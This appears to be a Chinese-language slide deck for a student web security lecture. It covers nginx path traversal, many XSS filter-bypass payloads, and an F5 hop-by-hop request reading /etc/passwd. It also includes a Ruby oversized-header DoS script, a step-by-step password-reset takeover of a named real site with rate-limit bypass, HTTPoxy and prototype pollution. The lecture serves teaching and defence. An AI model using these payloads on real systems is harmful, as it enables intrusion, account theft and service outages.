聯課-Web Security

講師:堇姬

聯課 2024.2.24

堇姬Naup(網管/美宣)

成電二年級/幽夜工作室繪師/台灣好厲駭學員

CKCSC36

DC : naup_sumire_hime

只是個喜歡資安的鶴,涉獵Crypto、Web、OSINT,最近有打算學reverse,我是Web狗

喜歡看輕小說、動畫、Vtuber、打音遊、畫畫,就是一個長年混跡ACG的宅女。

水銀燈我老婆

https://naupjjin.github.io/

一些經歷

  • 台灣好厲駭第八屆學員
  • 金盾獎國高中組 | 決賽
  • T貓盃國高中組 | 冠軍
  • CGGC網路守護者挑戰賽 | 第九名
  • AIS3 EOF | 初賽42名 | 決賽第四名 & 潛力獎

漏洞紀錄

  • 成功高中宿疾調查系統

  • 臺北庫克雲網站

...(還有一些不能丟的)

 

成功高中宿疾調查系統

台灣很多網站至今仍是隨手一打就一堆洞的狀況

Linux娘圖鑑

Ubuntu娘

Arch Linux 娘

Debian娘

Manjaro娘

Unix娘

Fedora娘

openSUSE娘

NixOS娘

ArchLabs娘

LFS娘

Windows娘圖鑑

WIN10

WIN11

WIN95

WIN8

WIN7

Windows Me

Windows 2000

Windows XP

Windows XP HOME

Windows Vista

 Windows CE

Windows Server 2003

Windows NT4.0

WINDOWS 3.1

本日重點

 

  • Web Security

  • 經典問題-Off-by-Slash

  • 前端各種奇技淫巧

  • 框架從簡單到複雜衍生的漏洞

  • Cookie來執行DoS攻擊

  • 重設密碼到帳號奪取漏洞

  • 跨領域、跨規範組合衍生漏洞

  • JS 奇特特性(有空就說)

slido

小調查

在座有人是資安人嗎?有打過CTF之類的嗎?

資安是甚麼?

甚麼是駭客?

成為一個web hacker

  • 了解各種網路的運作原理、底層邏輯

  • 觀察力

  • 創造力

  • 一個網站程式怎麼跑的(源代碼、底層、架構、運作方式)

  • 查資料 & 蒐集資訊

當個機車的使用者

駭客法則

CTF

資安搶旗賽,是現實漏洞的縮影

  • Web

  • Crypto

  • pwn

  • reverse

  • misc

常見五個種類

其他種類

  • forensics

  • OSINT

當你成功解出題目時,會的到一串flag,這就是答案

ex: ckcscCTF{1t_1s_th3_f1a9!}

pre exam

Discord

CTFd

web security

前端

後端

資料庫

SSTI
reflect-XSS

command-injection

Deserialization

CSRF

IDOR

SQL-injection

各種跟網站及網際網路有關的都可以稱為web

學習Web Security不只可以攻擊,也可以防守,修補自己網站,讓自己開發的專案不會寫出漏洞

本日目標

免責聲明

本課程不鼓勵去亂打公網上的任何網站,如學員有違法之事宜,自行負責

總之要打自己負責

Off-by-Slash

那美好的用SQL injection打遍天下的美好時代一去不復返,現在的web security可以用一個字表示

舉個栗子

Nginx

  • Nginx 最主要的功能是作為網頁伺服器,處理來自網路的 HTTP 請求,並返回相對應的內容。
  • Nginx 也常常被使用為反向代理伺服器,這樣可以大大提升網站的效能

http://server/static /main.js

location /static {
	alias /home/app/static ;
}

/home/app/static/main.js

location 

就像是 routing,設定不同的 path 要對應到怎麼樣的設定

哪個有漏洞?

location /static {
	alias /home/app/static ;
}
location /static/ {
	alias /home/app/static ;
}
location /static {
	alias /home/app/static/ ;
}
location /static/ {
	alias /home/app/static/ ;
}

A

B

C

D

location /static {
	alias /home/app/static/ ;
}

C

http://server/static ../settings.py

/home/app/static/../settings.py

代理

PATH TRAVERSAL

你覺得nginx官方對這個漏洞的態度是甚麼?

前端各種奇技淫巧

可以使得任意 JavaScript 程式碼插入到網站頁面中執行以達到攻擊目的

<script>alert(1)</script>

第一次愛麗絲遊戲

XSS 禁用大賽

真紅發現自己的網站會被XSS攻擊,於是禁掉<script>的使用

但是沒關係,不只有<script>裡面可以執行js

<img src=non_exist onerror=alert(1)>

載入一張不存在的圖片,就會觸發 onerror 事件,執行到裡面的程式碼

<svg onload=alert(1)>

也可以改用這種

一刻也沒有為script被禁掉感到哀悼,下一個被真紅禁掉的是空格

會贏喔

見到空格被ban的水銀燈陷入長考,突然想到了一個方法

<svg/onload=alert(1)> -->/
<svg    onload=alert(1)> --> tab
<svg
onload=alert(1)> -->換行

上一輪失敗讓他了解到他ban錯了,應該要ban的是onxxx之類的event handler

只要沒辦法用 event handler,就沒辦法 XSS 吧?

順便禁又javascript,以防使用javascipt偽協議

原本扣著的javascipt偽協議底牌一同被ban,所以無法使用這個

<iframe/src="javascript:alert(1)">

思考了一陣子,突然發現他沒ban乾淨,我可以這樣,塞入tab,XSS啟動

<iframe/src="javas    cript:alert(1)">

無聊的最後掙扎

最後他將空白、空行或是 tab 全都取代成空字串

此時的水銀燈翻開了覆蓋的陷阱卡,當你把關鍵字禁掉時,我可以使用編碼

<iframe/src="&#106;avascript:alert(1)">

j 的 ascii code 是 106,就可以編碼成 &#106

結界術真難呀,沒辦法了,領域展開,DOMPurify

最終真紅靠著外掛打贏了

JavaScript 本身的繞過

1.有沒有辦法在不使用 () 的狀況下執行函式?

alert`1`

2.連反引號都不能用呢?

onerror=alert;throw 1

拋出一個錯誤,而這個錯誤因為沒有被 catch 到,就會被 onerror 接住,最後被丟到 alert 裡面執行

onerror=eval;
throw "=alert\x281\x29"

跟剛剛一樣,只是這次換成eval,可以做到執行更多種類JS,不過第二行在幹嘛

為什麼前面多一個 =

  • throw 1會產生 Uncaught 1
  • throw "=alert\x281\x29" 會產生 Uncaught =alert\x281\x29
  • 這樣丟到eval裡才會正常執行

\x28 跟 \x29,分別是 () 的編碼

第二次愛麗絲遊戲

XSS 壓長大賽

只要水銀燈能想25字內能任意執行程式碼的payload就可以勝利(只執行alert沒有殺傷力)

<svg/onload=>

XSS基礎骨架 -> 13個字

僅剩下12個字的空間可以用,根本無法達到任意執行

可以利用現有資訊

<svg/onload=eval(`'`+location)>
--> 31字

嘗試去拿網址,因為網址後面可以接payload,並用eval執行JS

但是網址不是JS程式碼,所以想法是

'網址';JS

https://example.com/#';alert(1)

'https://example.com#';alert(1)

這想法看起來可行,但是還是太長

不過可以注意到一件事,就是location是不是太長了

document.URL ->URL
document.URL其實也可以抓到網址但更長,不過其實可以寫成URL

event handler 裡面的JS程式碼,預設就會有 document 這個 scope

悲慘了,26個字,差一個字就可以壓進25字內

name = 123
console.log(typeof name === 'number')

你們覺得他會輸出True還是False?

為啥輸出false?????

其實是因為這裡的name的型別是string!!!

  • name是一個特別的屬性

代表該分頁的名字 ->同一個分頁儘管內容不同,依然會共享同一個名稱

<script>
  name = 'alert(1)'
  window.location = 'http://example.com'
</script>

我在我的網頁寫下這段code,在跳轉到example.com

並在目標網站注入該payload

<svg/onload=eval(name)>

23字!!!

看完上述的奇特技巧腦袋應該快燒了,這是人類能想出來的嗎

所以結論是水銀燈跟真紅去貼貼啦

框架從簡單到複雜衍生的漏洞

hop-by-hop attack

X-Important-Header被刪掉可能導致意外洩漏資訊

POST /mgmt/tm/util/bash HTTP/1.1

Host: 127.0.0.1
Authorization: Basic YWRtaW46aG9yaXpvbjM=
X-F5-Auth-Token: asdf
Connection: close, X-F5-Auth-Token
Content-Length: 55

{"command": "run", "utilCmdArgs": "-c cat /etc/passwd"}

RCE

Web Cache Deception

甚麼是快取?

有些靜態資源會時常被使用者訪問,所以他會放在cache server中,這樣就不用再到遠端server抓取資料了

這裡有個問題,什麼樣的資料應該被cache?

快取不應該存取任何敏感資訊的公共文件和靜態文件

https://naup.tw/css/test.css

css可以被存取,因為他不是敏感文件

https://naup.tw/profile

不應該被存取,因為你的profile中可能有敏感內容

https://naup.tw/profile.css

會被cache到嗎?

如果被cache到的話,這個頁面就會被cache server存取下來,並且對應到連結

https://naup.tw/profile.css

Data leak

不會驗證你身分可直接看到!!!

另外我老婆可愛的照片不應該被cache

Cookie來執行DoS攻擊

DoS VS DDoS

攻擊方大量產生封包或請求,使目標系統資源耗盡,最終讓服務中斷或停止

利用連網的電腦網路從多點進行來針對目標伺服器

什麼是 Cookie?

Cookie是指某些網站為了辨別使用者的身分而在用戶端瀏覽器上存儲的一些小型文本檔案

使

我已滿18歲

GET / HTTP/1.1
HTTP/1.1 200 OK
Set-Cookie: over18=1

設定cookie到瀏覽器

使

再次訪問

GET / HTTP/1.1
HTTP/1.1 200 OK

over18=1,直接通過

這兩個東西怎麼結合?

http://naup.com?uid=1111

cookie: uid=1111

既然這東西可控那你有沒有想過寫入一堆東西到cookie呢?

http://naup.com?uid='a'*4000

當你塞入多達8kb得資料到cookie時?

1.網址改一下,讓 cookie 變很大,想辦法讓大小超過 8kb(較多 server 的限制都是 8kb)

2.把這個網址傳給攻擊目標,並想辦法讓他點開

3.目標點了網址,在瀏覽器上面設了一個很大的 cookie

4.目標造訪網站發現看不到內容

攻擊流程

484覺得有點廢,但他可以發展出一些攻擊面

首先先問有沒有人有想到什麼樣的攻擊面?

有沒有人想過,如果我透過naup.github.io設置了cookie,同時會在github.io設置cookie,這樣使用github.io的網站都會被炸到

root domain

subdomain

subdomain

subdomain

應該是沒有這麼智障,正常來說都會設定好

  •  a.com.tw 如果可以設置 cookie 到.com.tw或是.tw

  • https://www.mof.gov.tw/如果可以透過汙染gov.tw,來影響 https://www.president.gov.tw/

出現在上面的 domain,其 subdomain 都沒辦法直接設定該 domain 的 cookie

但其實並非不可行,只要沒出現在上面的就可以拿來利用

不過其實有難度你知道的服務幾乎都已經註冊了

舉個栗子

Azure CDN

在 Azure 上上傳一個會自己設很大cookie的html檔案然後設置一下 CDN,就可以得到一個自訂的網址

https://naup.azureedge.net/a.html

azureedge.net

naup.azureedge.net

xxx.azureedge.net

...

xxx.azureedge.net

通常azureedge.net會拿來存一些資源,如圖片、CSS、JS,這些資源的抓取都會受到影響,所以實際影響的範圍會更廣

另一個思路

接下來要做的事是結合

Cache poisoning

Cookie Bomb

想辦法讓 cache server 存的 cache 是壞掉的那一份

這樣子不一定要用cookie,其實可以使用其他request header來塞爆

require 'net/http'
uri = URI("https://example.org/index.html")
req = Net::HTTP::Get.new(uri)

num = 200
i = 0

# Setting malicious and irrelevant headers fields for creating an oversized header
until i > num  do
	req["X-Oversized-Header-#{i}"] = "Big-Value-0000000000000000000000000000000000"
	i +=1;
end

res = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') {|http|
	http.request(req)
}

重設密碼到帳號奪取漏洞

重設密碼你想到了甚麼?

為甚麼不找回舊密碼而是使用重設密碼?

username:Mercury

password:test123

username:Mercury

password:test123

存起來

你覺得上述運作流程是正確的嗎?

你覺得理論上有哪些人會知道水銀燈的密碼?

username:Mercury

password:test123

username:Mercury

password:ecd71870d1963316a97e3ac3408c9835ad8cf0f3c1bc703527c30265534f75ae

存起來

  • sha256

實際上只有本人會知道密碼,就連網站管理者都不知道你的密碼,因為密碼會以雜湊的方式被存取

  1. 使用者填入當初註冊帳號時的 email
  2. 系統寄送重設密碼的連結到第一步的 email
  3. 使用者點擊信中的連結,前往重設密碼頁面
  4. 使用者輸入新的密碼,送出表單
  5. 密碼重設成功,使用者可以利用新的密碼登入

重設密碼典型五步驟

你覺得要保證重設密碼安全應該要做到那些事?

  1. 系統寄送信件的目的地,真的是使用者本人的 email

  2. 重設密碼的連結無法被猜出來

第一點看起來很智障

Mercury@gmail.com就應該寄到水銀燈老婆手上吧?

但其實不然,正常來說會去檢查你填的跟原本註冊的帳號有沒有一樣,但是如果傳輸的是一個陣列呢?

["Mercury@gmail.com", "attacker@gmail.com]

我老婆帳號就被偷了,各位一起學資安,保護老婆帳號不被偷走,守護老婆笑容

再來看第二個,這個我們直接看實例

{
   "operationName":"SendVerificationCode",
   "variables":{
      "input":{
         "email":"user@example.com",
         "type":"password_reset",
         "redirectUrl":"https://matters.news/forget?email=user%40example.com"
      }
   }
}

request

https://matters.news/forget?email=user%40example.com&code=UYBQ912rhd_9s3TfywZnk1kQl6PCaDjPlXuNX3Df&type=password_reset

修改 redirectUrl 參數,修改成 https://naup.com

https://naup.com/forget?email=user%40example.com&code=UYBQ912rhd_9s3TfywZnk1kQl6PCaDjPlXuNX3Df&type=password_reset

如果受害者點擊他就會整串被發到我的server

再來是暴力破解

他的Token看起來超安全,是一個由長度40的來當作Token

不過matters在github上有開源,所以可以去看看他是怎麼生成token的

const { code } = await userService.createVerificationCode({
  userId: viewer.id,
  email,
  type,
  strong: !!redirectUrl, // strong random code for link
})
createVerificationCode = ({
  userId,
  email,
  type,
  strong,
  expiredAt,
}: {
  userId?: string | null
  email: string
  type: string
  strong?: boolean
  expiredAt?: Date
}) => {
  const code = strong ? nanoid(40) : _.random(100000, 999999)

  return this.baseCreate(
    {
      uuid: v4(),
      userId,
      email,
      type,
      code,
      expiredAt:
        expiredAt || new Date(Date.now() + VERIFICATION_CODE_EXIPRED_AFTER),
    },
    'verification_code'
  )
}

把 redirectUrl 參數拿掉,code 會從 40 個字,瞬間降低成六位數的數字!!!

驗證有效時間是5分鐘,所以代表一秒鐘要發3000個請求

1.rate limiting?

2.server無法處理那麼多

limit_req_zone $http_x_forwarded_for zone=application:16m rate=5r/s;

limit_req zone=application burst=20 nodelay;
limit_req_status 429;
limit_conn_status 429;

# pass real IP from client to NGINX
real_ip_header X-Forwarded-For;
set_real_ip_from 0.0.0.0/0;

server {
    # set error page for HTTP code 429
    error_page 429 @ratelimit;
    location @ratelimit {
        return 429 '["Connection Limit Exceeded"]\n';
    }

    listen 80;

}

nginx rate limiting

...

ip相同

...

request

request

request

server

方法一:

方法二:

X-Forwarded-For 來偽造任意 IP

每秒要3000個還是有點多,要如何減少?

  1. 重設密碼的 token 應該只能使用一次

  2. 重設密碼的 token 應該要有過期時間

  3. 如果使用者產生了新的重設密碼 token,舊的應該要廢棄

matters第三點沒做好,如果你重新發送,舊的驗證沒有廢棄

先發送 1000 次的重設密碼請求

猜一次

猜1000次

猜5000次

1/900
1 - (899/900)^ {1000}

67%

1 - (899/900)^{5000}

99.6%

所以最終只需要1000個重設密碼請求+5000猜驗證碼請求

6000個

我老婆帳號就被偷了,各位一起買養樂多,多補充乳酸菌

跨領域、跨規範組合衍生漏洞

web security有的東西越來越多,能夠嘗試組合在一起的越來越多了,如跨協議或規範組合的誤用等也是一個可以嘗試發展的點

一個沒什麼問題的東西 + 一個沒什麼問題的東西 =

大漏洞

HTTPoxy attack

CGI & PHP FastCGI規範   (RFC 3875)

  • 伺服器必須對每個請求設置這些元變數  
  • 元變數根據現有的 HTTP Header 加上 HTTP_ 前綴  
  • RFC 無規範元變數要存哪 (但大部分的實作皆放進環境變數)
GET / HTTP/1.1
Host: naup.tw
User-Agent: Mozilla/5.0
HTTP_HOST=naup.tw
HTTP_USER_AGENT=Mozila/5

HTTP_PROXY

是一個環境變數,用於指定在進行 HTTP 請求時要使用的proxy server

這是個約定俗成的,會直接抓環境變數的來用

export HTTP_PROXY=http://proxy_server

看出問題了嗎?

 快取不應該存取任何敏感資訊的公共文件和靜態文件 

RFC 命名規範跟 HTTP 函數庫約定成俗的變數撞名

GET /index.php HTTP/1.1
Host: naup.tw
User-Agent: Mozilla/5.0
PROXY: http://your-server/
HTTP_HOST=naup.tw
HTTP_USER_AGENT=Mozila/5
HTTP_PROXY= http://your-server/

proxy server被當成目標server內部請求來訪問

SSRF

JS奇特特性

Prototype pollution

var str = "a"
var str2 = str.repeat(5)
console.log(str2)

你有沒有想過當你在用一些內建函式的時候,這些函式是從哪裡來的?

去MDN看一下發現他寫 String.prototype.repeat

因此我們知道,我們再用repeat這個方法時不是因為str底下有這個方法

在 JS 中有一個隱藏的屬性,叫做 __proto__

它儲存的值就是 JS 引擎應該往上找的地方

var str = ""
console.log(str.__proto__) // String.prototype

repeat 函式其實是存在於 String.prototype 這個物件上的一個方法

var obj = {}
console.log(obj.a) // undefined
console.log(obj.toString) // ƒ toString() { [native code] }

obj是個空物件

var obj = {}
console.log(obj.toString === Object.prototype.toString) // true

我可以改變prototype上的東西嗎?

String.prototype.first = function() {
  return this[0]
}

console.log("abc".first()) // a

可以

Object.prototype.a = 123
var obj = {}
console.log(obj.a) // 123
Object.prototype.a = 123
var obj = {}
console.log(obj.a) // 123

你發現了嗎?有可以拿來利用的漏洞

我們透過 Object.prototype.a = 123「污染」了物件原型上的 a 這個屬性,導致程式在存取物件時,有可能出現意想不到的行為

if (user.isAdmin) {
// do some privileged operations
}

這裡用來驗證你是不是admin,user.isAdmin是用來存取你是不是admin的

http://server/?__proto__[isAdmin]=true

Admin

Prototype-pollution2RCE

Prototype-pollution+reverse shell

RCE

Q&A

這很重要,一定要填!!!

薔薇少女(水銀燈真的好婆)

EOF閒聊

  • pwn2own

  • attack & defense

  • King of Hill

Web Security-IZCC

By naup96321

Web Security-IZCC

  • 82